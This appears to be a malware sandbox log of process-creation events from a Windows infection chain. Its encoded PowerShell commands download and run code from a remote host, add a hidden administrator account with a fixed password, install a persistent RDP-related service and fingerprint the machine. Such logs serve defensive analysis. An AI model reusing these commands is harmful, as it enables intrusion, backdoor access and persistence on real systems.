"UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEB.tmp" "c:\Users\user\AppData\Local\Temp\st5qs1wr\CSC2C64D26780D497590A0A819DD9C4D5F.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
